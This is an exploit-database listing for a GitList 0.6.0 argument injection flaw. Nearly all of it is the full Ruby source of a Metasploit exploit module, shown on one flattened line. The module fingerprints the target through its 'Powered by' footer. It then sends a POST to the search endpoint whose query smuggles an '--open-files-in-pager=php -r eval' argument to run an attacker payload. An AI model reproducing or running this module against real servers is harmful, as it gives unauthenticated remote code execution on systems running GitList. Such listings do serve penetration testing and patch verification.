GitList 0.6.0 Argument Injection

2018.07.08
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "GitList v0.6.0 Argument Injection Vulnerability", 'Description' => %q{ This module exploits an argument injection vulnerability in GitList v0.6.0. The vulnerability arises from GitList improperly validating input using the php function 'escapeshellarg'. }, 'License' => MSF_LICENSE, 'Author' => [ 'Kacper Szurek', # EDB POC 'Shelby Pace' # Metasploit Module ], 'References' => [ [ 'EDB', '44548' ], [ 'URL', 'https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html'] ], 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'GitList v0.6.0', { } ] ], 'Privileged' => false, 'Payload' => { 'BadChars' => '\'"' }, 'DisclosureDate' => "Apr 26 2018", 'DefaultTarget' => 0)) end def check uri = normalize_uri(target_uri.path, '/gitlist/') res = send_request_cgi( 'method' => 'GET', 'uri' => uri ) if res && res.code == 200 && /Powered by .*GitList 0\.6\.0/.match(res.body) return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end def exploit postUri = normalize_uri(target_uri.path, '/gitlist/tree/c/search') cmd = '--open-files-in-pager=php -r "eval(\\"' cmd << payload.encoded cmd << '\\");"' send_request_cgi( 'method' => 'POST', 'uri' => postUri, 'vars_post' => { 'query' => cmd } ) end end


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